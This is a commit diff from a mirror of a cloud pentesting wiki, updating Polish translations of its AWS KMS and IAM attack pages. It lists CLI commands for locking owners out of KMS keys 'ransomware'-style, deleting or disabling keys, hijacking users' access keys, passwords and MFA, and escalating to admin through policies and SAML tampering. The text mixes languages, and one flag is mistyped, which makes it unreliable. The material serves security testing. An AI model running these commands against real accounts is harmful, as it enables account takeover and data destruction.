mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
+31
-30
@@ -10,17 +10,17 @@ Więcej informacji:
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Szyfrowanie/Deszyfrowanie informacji
|
||||
### Encrypt/Decrypt information
|
||||
|
||||
`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
|
||||
`fileb://` and `file://` są schematami URI używanymi w poleceniach AWS CLI do wskazania ścieżki do lokalnych plików:
|
||||
|
||||
- `fileb://:` Odczytuje plik w trybie binarnym, zwykle używany dla plików niebędących tekstowymi.
|
||||
- `file://:` Odczytuje plik w trybie tekstowym, zwykle używany dla plików tekstowych, skryptów lub JSON, które nie mają specjalnych wymogów kodowania.
|
||||
- `fileb://:` Odczytuje plik w trybie binarnym, zwykle używane dla plików binarnych.
|
||||
- `file://:` Odczytuje plik w trybie tekstowym, zwykle używane dla zwykłych plików tekstowych, skryptów lub JSON, które nie mają specjalnych wymagań dotyczących kodowania.
|
||||
|
||||
> [!TIP]
|
||||
> Zwróć uwagę, że jeśli chcesz odszyfrować dane znajdujące się w pliku, plik musi zawierać dane binarne, a nie dane zakodowane w base64. (fileb://)
|
||||
> Zauważ, że jeśli chcesz decrypt danych wewnątrz pliku, plik musi zawierać surowe dane binarne, a nie dane zakodowane base64. (fileb://)
|
||||
|
||||
- Użycie **klucza symetrycznego**
|
||||
- Using a **symmetric** key
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
@@ -62,12 +62,12 @@ aws kms decrypt \
|
||||
|
||||
Atakujący z uprzywilejowanym dostępem do KMS może zmodyfikować politykę KMS dla kluczy i **przyznać swojemu kontu dostęp do nich**, usuwając dostęp przyznany prawowitemu kontu.
|
||||
|
||||
Wtedy użytkownicy prawowitego konta nie będą mogli uzyskać dostępu do żadnych informacji żadnej usługi zaszyfrowanej tymi kluczami, tworząc proste, ale skuteczne ransomware na konto.
|
||||
W rezultacie użytkownicy prawowitego konta nie będą mogli uzyskać dostępu do żadnych informacji żadnej usługi zaszyfrowanej tymi kluczami, tworząc proste, lecz skuteczne ransomware wymierzone w konto.
|
||||
|
||||
> [!WARNING]
|
||||
> Zauważ, że **AWS managed keys aren't affected** przez ten atak, tylko **Customer managed keys**.
|
||||
> Zwróć uwagę, że **AWS managed keys aren't affected** przez ten atak; dotyczy to tylko **Customer managed keys**.
|
||||
|
||||
> Zwróć też uwagę na konieczność użycia parametru **`--bypass-policy-lockout-safety-check`** (brak tej opcji w web console sprawia, że atak jest możliwy jedynie z CLI).
|
||||
> Zwróć też uwagę na konieczność użycia parametru **`--bypass-policy-lockout-safety-check`** (brak tej opcji w konsoli webowej powoduje, że ten atak jest możliwy tylko z poziomu CLI).
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
@@ -92,18 +92,18 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Zwróć uwagę, że jeśli zmienisz tę politykę i udzielisz dostępu tylko kontu zewnętrznemu, a następnie z tego konta zewnętrznego spróbujesz ustawić nową politykę, aby **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**.
|
||||
> Zwróć uwagę, że jeśli zmienisz tę politykę i udzielisz dostępu tylko kontu zewnętrznemu, a następnie z tego konta zewnętrznego spróbujesz ustawić nową politykę, aby **przywrócić dostęp do oryginalnego konta, nie będziesz w stanie, ponieważ akcja Put Polocy nie może być wykonana z konta zewnętrznego**.
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Generic KMS Ransomware
|
||||
### Ogólny KMS Ransomware
|
||||
|
||||
Istnieje inny sposób na przeprowadzenie globalnego KMS Ransomware, który obejmowałby następujące kroki:
|
||||
Istnieje inny sposób przeprowadzenia globalnego KMS Ransomware, który obejmowałby następujące kroki:
|
||||
|
||||
- Utwórz nowy **key with a key material** zaimportowany przez atakującego
|
||||
- **Re-encrypt older data** ofiary zaszyfrowanych poprzednią wersją, używając nowej
|
||||
- **Delete the KMS key**
|
||||
- W tej sytuacji tylko atakujący, który posiada oryginalny key material, będzie w stanie odszyfrować zaszyfrowane dane
|
||||
- Utwórz nowy **klucz z materiałem klucza** zaimportowanym przez atakującego
|
||||
- **Ponownie zaszyfruj starsze dane** ofiary, które były zaszyfrowane poprzednią wersją, przy użyciu nowego klucza
|
||||
- **Usuń klucz KMS**
|
||||
- Teraz tylko atakujący, który posiada oryginalny materiał klucza, będzie w stanie odszyfrować zaszyfrowane dane
|
||||
|
||||
### Delete Keys via kms:DeleteImportedKeyMaterial
|
||||
|
||||
@@ -111,9 +111,9 @@ With the `kms:DeleteImportedKeyMaterial` permission, an actor can delete the imp
|
||||
```bash
|
||||
aws kms delete-imported-key-material --key-id <Key_ID>
|
||||
```
|
||||
### Niszczenie keys
|
||||
### Niszczenie kluczy
|
||||
|
||||
Niszczenie keys umożliwia przeprowadzenie DoS.
|
||||
Niszczenie kluczy może spowodować DoS.
|
||||
```bash
|
||||
# Schedule the destoy of a key (min wait time is 7 days)
|
||||
aws kms schedule-key-deletion \
|
||||
@@ -121,10 +121,10 @@ aws kms schedule-key-deletion \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Zwróć uwagę, że AWS obecnie **uniemożliwia wykonywanie powyższych działań z poziomu cross account:**
|
||||
> Zwróć uwagę, że AWS teraz **uniemożliwia wykonywanie poprzednich działań z innego konta:**
|
||||
|
||||
### Zmień lub usuń Alias
|
||||
Ten atak usuwa lub przekierowuje AWS KMS aliases, zaburzając rozwiązywanie kluczy i powodując natychmiastowe awarie w usługach polegających na tych aliasach, skutkując denial-of-service. Mając uprawnienia takie jak `kms:DeleteAlias` lub `kms:UpdateAlias`, atakujący może usunąć lub przekierować aliasy i zakłócić operacje kryptograficzne (np. encrypt, describe). Każda usługa, która odwołuje się do aliasu zamiast do key ID, może przestać działać, dopóki alias nie zostanie przywrócony lub poprawnie ponownie zmapowany.
|
||||
### Zmiana lub usunięcie aliasu
|
||||
Ten atak usuwa lub przekierowuje aliasy AWS KMS, przerywając rozwiązywanie kluczy i powodując natychmiastowe awarie w usługach, które polegają na tych aliasach, co skutkuje denial-of-service. Mając uprawnienia takie jak `kms:DeleteAlias` lub `kms:UpdateAlias`, atakujący może usunąć lub ponownie wskazać aliasy i zakłócić operacje kryptograficzne (np. encrypt, describe). Każda usługa, która odwołuje się do aliasu zamiast ID klucza, może nie działać do czasu przywrócenia aliasu lub jego prawidłowego odwzorowania.
|
||||
```bash
|
||||
# Delete Alias
|
||||
aws kms delete-alias --alias-name alias/<key_alias>
|
||||
@@ -135,7 +135,7 @@ aws kms update-alias \
|
||||
--target-key-id <new_target_key>
|
||||
```
|
||||
### Cancel Key Deletion
|
||||
Z uprawnieniami takimi jak `kms:CancelKeyDeletion` i `kms:EnableKey`, atakujący może anulować zaplanowane usunięcie klucza głównego klienta AWS KMS i później ponownie go włączyć. W ten sposób odzyskuje się klucz (początkowo w stanie Disabled) i przywraca jego zdolność do odszyfrowywania wcześniej chronionych danych, umożliwiając eksfiltrację.
|
||||
Posiadając uprawnienia takie jak `kms:CancelKeyDeletion` i `kms:EnableKey`, atakujący może anulować zaplanowane usunięcie AWS KMS customer master key i później ponownie je włączyć. W ten sposób klucz zostaje odzyskany (początkowo w stanie Disabled) i przywraca się jego zdolność do odszyfrowania wcześniej chronionych danych, umożliwiając exfiltration.
|
||||
```bash
|
||||
# Firts cancel de deletion
|
||||
aws kms cancel-key-deletion \
|
||||
@@ -145,22 +145,23 @@ aws kms cancel-key-deletion \
|
||||
aws kms enable-key \
|
||||
--key-id <Key_ID>
|
||||
```
|
||||
### Disable Key
|
||||
Dzięki uprawnieniu `kms:DisableKey` atakujący może wyłączyć AWS KMS customer master key, uniemożliwiając jego użycie do encryption lub decryption. To przerywa dostęp dla wszystkich usług zależnych od tego CMK i może spowodować natychmiastowe zakłócenia lub denial-of-service, dopóki klucz nie zostanie ponownie włączony.
|
||||
### Wyłączenie klucza
|
||||
|
||||
Z uprawnieniem `kms:DisableKey` aktor może wyłączyć AWS KMS customer master key (CMK), uniemożliwiając jego użycie do szyfrowania lub odszyfrowywania. To przerywa dostęp dla wszelkich usług zależnych od tego CMK i może spowodować natychmiastowe zakłócenia lub denial-of-service, dopóki klucz nie zostanie ponownie włączony.
|
||||
```bash
|
||||
aws kms disable-key \
|
||||
--key-id <key_id>
|
||||
```
|
||||
### Wyprowadzenie współdzielonego sekretu
|
||||
Z uprawnieniem `kms:DeriveSharedSecret`, podmiot może użyć KMS-held private key oraz user-supplied public key, aby obliczyć ECDH shared secret.
|
||||
### Wyprowadzenie wspólnego sekretu
|
||||
Dzięki uprawnieniu `kms:DeriveSharedSecret` podmiot może użyć klucza prywatnego przechowywanego w KMS oraz klucza publicznego dostarczonego przez użytkownika, aby obliczyć wspólny sekret ECDH.
|
||||
```bash
|
||||
aws kms derive-shared-secret \
|
||||
--key-id <key_id> \
|
||||
--public-key fileb:///<route_to_public_key> \
|
||||
--key-agreement-algorithm <algorithm>
|
||||
```
|
||||
### Podszywanie się przez kms:Sign
|
||||
Z uprawnieniem `kms:Sign` aktor może użyć KMS-stored CMK do kryptograficznego podpisania danych bez ujawniania klucza prywatnego, tworząc ważne podpisy, które mogą umożliwić podszywanie się lub autoryzować złośliwe działania.
|
||||
### Impersonation via kms:Sign
|
||||
Z uprawnieniem `kms:Sign` podmiot może użyć CMK przechowywanej w KMS, aby cryptographically sign danych bez ujawniania private key, tworząc prawidłowe signatures, które mogą umożliwić impersonation lub autoryzować złośliwe działania.
|
||||
```bash
|
||||
aws kms sign \
|
||||
--key-id <key-id> \
|
||||
@@ -168,8 +169,8 @@ aws kms sign \
|
||||
--signing-algorithm <algoritmo> \
|
||||
--message-type RAW
|
||||
```
|
||||
### DoS with Custom Key Stores
|
||||
Z uprawnieniami takimi jak `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` czy `kms:UpdateCustomKeyStore`, actor może zmodyfikować, odłączyć lub usunąć AWS KMS Custom Key Store (CKS), powodując, że jego klucze główne stają się nieużywalne. To przerywa operacje szyfrowania, deszyfrowania i podpisywania dla usług korzystających z tych kluczy i może spowodować natychmiastowy denial-of-service. Ograniczanie i monitorowanie tych uprawnień jest więc krytyczne.
|
||||
### DoS z Custom Key Stores
|
||||
Z uprawnieniami takimi jak `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` lub `kms:UpdateCustomKeyStore`, aktor może modyfikować, odłączać lub usuwać AWS KMS Custom Key Store (CKS), powodując, że jego klucze główne przestają działać. To przerywa operacje szyfrowania, odszyfrowywania i podpisywania dla usług, które polegają na tych kluczach i może spowodować natychmiastowy denial-of-service. Ograniczanie i monitorowanie tych uprawnień jest więc krytyczne.
|
||||
```bash
|
||||
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
|
||||
+57
-38
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Aby uzyskać więcej informacji o IAM, zobacz:
|
||||
Aby uzyskać więcej informacji o IAM zobacz:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
@@ -12,45 +12,64 @@ Aby uzyskać więcej informacji o IAM, zobacz:
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
Przyznaje możliwość utworzenia nowej wersji polityki IAM, omijając potrzebę uprawnienia `iam:SetDefaultPolicyVersion` przez użycie flagi `--set-as-default`. Umożliwia to zdefiniowanie własnych uprawnień.
|
||||
Umożliwia utworzenie nowej wersji polityki IAM, omijając konieczność posiadania uprawnienia `iam:SetDefaultPolicyVersion` poprzez użycie flagi `--set-as-default`. Pozwala to na zdefiniowanie niestandardowych uprawnień.
|
||||
|
||||
**Exploit Command:**
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
```
|
||||
**Wpływ:** Bezpośrednio eskaluje uprawnienia, umożliwiając wykonanie dowolnej akcji na dowolnym zasobie.
|
||||
**Wpływ:** Bezpośrednio eskaluje uprawnienia, pozwalając na wykonanie dowolnej akcji na dowolnym zasobie.
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
Pozwala zmienić domyślną wersję polityki IAM na inną istniejącą wersję, co może doprowadzić do eskalacji uprawnień, jeśli nowa wersja ma więcej uprawnień.
|
||||
Pozwala zmienić domyślną wersję polityki IAM na inną istniejącą wersję, co może potencjalnie doprowadzić do eskalacji uprawnień, jeśli nowa wersja ma więcej uprawnień.
|
||||
|
||||
**Polecenie Bash:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**Wpływ:** Pośrednie privilege escalation poprzez umożliwienie dodatkowych uprawnień.
|
||||
**Wpływ:** Pośrednie privilege escalation poprzez przyznanie dodatkowych uprawnień.
|
||||
|
||||
### **`iam:CreateAccessKey`**
|
||||
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
|
||||
|
||||
Pozwala na utworzenie access key ID i secret access key dla innego użytkownika, co może prowadzić do potencjalnego privilege escalation.
|
||||
Umożliwia utworzenie access key ID i secret access key dla innego użytkownika, co może prowadzić do potencjalnego privilege escalation.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez przyjęcie rozszerzonych uprawnień innego użytkownika.
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez przejęcie rozszerzonych uprawnień innego użytkownika.
|
||||
|
||||
Zwróć uwagę, że użytkownik może mieć utworzone maksymalnie 2 klucze dostępu, więc jeśli użytkownik ma już 2 klucze dostępu, będziesz potrzebować uprawnienia `iam:DeleteAccessKey`, aby usunąć jeden z nich i móc utworzyć nowy:
|
||||
```bash
|
||||
aws iam delete-access-key --uaccess-key-id <key_id>
|
||||
```
|
||||
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
|
||||
|
||||
Jeżeli możesz utworzyć nowe wirtualne urządzenie MFA i włączyć je dla innego użytkownika, możesz skutecznie zarejestrować własne MFA dla tego użytkownika, a następnie zażądać sesji zabezpieczonej MFA dla jego poświadczeń.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
# Create a virtual MFA device (this returns the serial and the base32 seed)
|
||||
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
|
||||
|
||||
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
|
||||
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Impact:** Bezpośrednia eskalacja uprawnień poprzez przejęcie rejestracji MFA użytkownika (a następnie użycie ich uprawnień).
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
Pozwala na tworzenie lub aktualizację profilu logowania, w tym ustawianie haseł do logowania do konsoli AWS, co prowadzi do bezpośredniej eskalacji uprawnień.
|
||||
Pozwala na tworzenie lub aktualizowanie profilu logowania, w tym ustawianie haseł do logowania do konsoli AWS, co prowadzi do bezpośredniej eskalacji uprawnień.
|
||||
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Exploit dla aktualizacji:**
|
||||
**Exploit do aktualizacji:**
|
||||
```bash
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
@@ -59,19 +78,19 @@ aws iam update-login-profile --user-name target_user --no-password-reset-require
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
Pozwala na włączenie wyłączonego access key, co może doprowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada ten wyłączony access key.
|
||||
Pozwala na włączenie wyłączonego klucza dostępu, co może prowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada ten wyłączony klucz.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień przez reaktywację access keys.
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez reaktywację access keys.
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
Pozwala na generowanie lub resetowanie poświadczeń dla konkretnych usług AWS (np. CodeCommit, Amazon Keyspaces), dziedzicząc uprawnienia powiązanego użytkownika.
|
||||
Pozwala na wygenerowanie lub zresetowanie poświadczeń dla konkretnych usług AWS (np. CodeCommit, Amazon Keyspaces), które dziedziczą uprawnienia powiązanego użytkownika.
|
||||
|
||||
**Eksploit do tworzenia:**
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-service-specific-credential --user-name <username> --service-name <service>
|
||||
```
|
||||
@@ -79,13 +98,13 @@ aws iam create-service-specific-credential --user-name <username> --service-name
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień w obrębie uprawnień usług przypisanych użytkownikowi.
|
||||
**Impact:** Bezpośrednia eskalacja uprawnień w ramach uprawnień do usług przypisanych użytkownikowi.
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
Pozwala na dołączanie polityk do użytkowników lub grup, co bezpośrednio eskaluje uprawnienia poprzez odziedziczenie uprawnień z dołączonej polityki.
|
||||
Pozwala na dołączanie polityk do użytkowników lub grup, bezpośrednio eskalując uprawnienia poprzez dziedziczenie uprawnień dołączonej polityki.
|
||||
|
||||
**Eksploatacja dla użytkownika:**
|
||||
**Exploit for User:**
|
||||
```bash
|
||||
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```
|
||||
@@ -93,17 +112,17 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień do wszystkiego, do czego uprawnia dana polityka.
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień do wszystkiego, co przyznaje polityka.
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
Umożliwia dołączanie lub przypisywanie polityk do ról, użytkowników lub grup, umożliwiając bezpośrednią eskalację uprawnień poprzez przyznanie dodatkowych uprawnień.
|
||||
Pozwala na dołączanie lub dodawanie polityk do ról, użytkowników lub grup, umożliwiając bezpośrednią eskalację uprawnień poprzez nadanie dodatkowych uprawnień.
|
||||
|
||||
**Exploit for Role:**
|
||||
**Eksploit dla roli:**
|
||||
```bash
|
||||
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Exploit dla Inline Policies:**
|
||||
**Eksploit dla Inline Policies:**
|
||||
```bash
|
||||
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
|
||||
--policy-document "file:///path/to/policy.json"
|
||||
@@ -127,11 +146,11 @@ Możesz użyć polityki takiej jak:
|
||||
]
|
||||
}
|
||||
```
|
||||
**Wpływ:** Bezpośrednie privilege escalation poprzez nadawanie uprawnień za pomocą policies.
|
||||
**Impact:** Bezpośrednia eskalacja uprawnień przez dodanie permissions za pomocą policies.
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
Umożliwia dodanie siebie do grupy IAM, prowadząc do escalating privileges poprzez dziedziczenie uprawnień grupy.
|
||||
Umożliwia dodanie siebie do grupy IAM, eskalując uprawnienia poprzez odziedziczenie permissions przypisanych tej grupie.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
@@ -141,14 +160,14 @@ aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
Pozwala zmienić dokument polityki assume role dla roli, co umożliwia przyjęcie tej roli i uzyskanie związanych z nią uprawnień.
|
||||
Pozwala na zmianę dokumentu assume role policy roli, co umożliwia przejęcie tej roli i zdobycie jej powiązanych uprawnień.
|
||||
|
||||
**Wykorzystanie:**
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-assume-role-policy --role-name <role_name> \
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
```
|
||||
Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienie do przyjęcia tej roli:
|
||||
Gdy polityka wygląda następująco, daje ona użytkownikowi uprawnienie do przyjęcia roli:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -163,38 +182,38 @@ Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienie do przyj
|
||||
]
|
||||
}
|
||||
```
|
||||
**Wpływ:** Direct privilege escalation by assuming any role's permissions.
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień przez przyjęcie uprawnień dowolnej roli.
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
Pozwala na przesłanie publicznego klucza SSH do uwierzytelniania w CodeCommit oraz na dezaktywację urządzeń MFA, co może prowadzić do potencjalnego indirect privilege escalation.
|
||||
Pozwala na przesłanie klucza publicznego SSH do uwierzytelniania w CodeCommit oraz dezaktywację urządzeń MFA, co może prowadzić do pośredniej eskalacji uprawnień.
|
||||
|
||||
**Exploit for SSH Key Upload:**
|
||||
```bash
|
||||
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
|
||||
```
|
||||
**Exploit dla dezaktywacji MFA:**
|
||||
**Exploit do dezaktywacji MFA:**
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
**Wpływ:** Pośrednie eskalowanie uprawnień poprzez umożliwienie dostępu do CodeCommit lub wyłączenie ochrony MFA.
|
||||
**Wpływ:** Pośrednia eskalacja uprawnień poprzez włączenie dostępu do CodeCommit lub wyłączenie ochrony MFA.
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
Pozwala na ponowną synchronizację urządzenia MFA, co może prowadzić do pośredniej eskalacji uprawnień przez manipulowanie ochroną MFA.
|
||||
Pozwala na ponowną synchronizację urządzenia MFA, co może prowadzić do pośredniej eskalacji uprawnień poprzez manipulowanie ochroną MFA.
|
||||
|
||||
**Polecenie Bash:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Wpływ:** Niebezpośrednia eskalacja uprawnień przez dodawanie lub manipulowanie urządzeniami MFA.
|
||||
**Wpływ:** Pośrednia eskalacja uprawnień przez dodanie lub manipulację urządzeniami MFA.
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
Dzięki tym uprawnieniom możesz **zmienić metadane XML połączenia SAML**. Następnie możesz nadużyć **federacji SAML**, aby **zalogować się** przy użyciu dowolnej **roli, która jej ufa**.
|
||||
Dzięki tym uprawnieniom możesz **zmienić metadane XML połączenia SAML**. Następnie możesz nadużyć **SAML federation**, aby **login** jako dowolna **rola, która jej ufa**.
|
||||
|
||||
Zauważ, że wykonanie tego spowoduje, że **uprawnieni użytkownicy nie będą mogli się zalogować**. Jednak możesz pobrać XML, wstawić swój, zalogować się i przywrócić poprzednią konfigurację.
|
||||
Należy pamiętać, że przy wykonaniu tego **prawdziwi użytkownicy nie będą mogli login**. Możesz jednak pobrać XML, wstawić swój, login i przywrócić poprzednią konfigurację.
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -211,11 +230,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
|
||||
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
|
||||
```
|
||||
> [!NOTE]
|
||||
> TODO: Narzędzie zdolne do wygenerowania metadanych SAML i zalogowania się z określoną rolą
|
||||
> TODO: Narzędzie zdolne do wygenerowania metadanych SAML i zalogowania się przy użyciu określonej roli
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(Niepewne) Jeśli atakujący ma te **permissions**, mógłby dodać nowy **Thumbprint**, aby móc zalogować się we wszystkich rolach ufających dostawcy.
|
||||
(Niepewne) Jeśli atakujący ma te **permissions**, może dodać nowy **Thumbprint**, co pozwoli mu zalogować się do wszystkich ról ufających dostawcy.
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -226,7 +245,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
To uprawnienie pozwala atakującemu zaktualizować permissions boundary użytkownika, potencjalnie eskalując jego uprawnienia poprzez umożliwienie wykonywania działań, które normalnie są ograniczone przez jego istniejące uprawnienia.
|
||||
To uprawnienie pozwala attackerowi zaktualizować permissions boundary użytkownika, potencjalnie eskalując jego privileges i umożliwiając wykonywanie akcji, które normalnie są ograniczone przez jego obecne uprawnienia.
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
@@ -249,7 +268,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
Podmiot posiadający uprawnienie iam:PutRolePermissionsBoundary może ustawić permissions boundary dla istniejącej roli. Ryzyko pojawia się, gdy ktoś z tym uprawnieniem zmieni granicę roli: może niewłaściwie ograniczyć operacje (powodując zakłócenia w działaniu usług) lub, jeśli przypisze przyzwalającą boundary, skutecznie rozszerzyć możliwości roli i eskalować uprawnienia.
|
||||
Podmiot posiadający iam:PutRolePermissionsBoundary może ustawić permissions boundary dla istniejącej roli. Ryzyko pojawia się, gdy ktoś z tym uprawnieniem zmienia permissions boundary roli: może nieprawidłowo ograniczyć operacje (powodując zakłócenia usług) lub, jeśli dołączy permissive boundary, skutecznie rozszerzyć możliwości roli i eskalować uprawnienia.
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
|
||||
Reference in New Issue
Block a user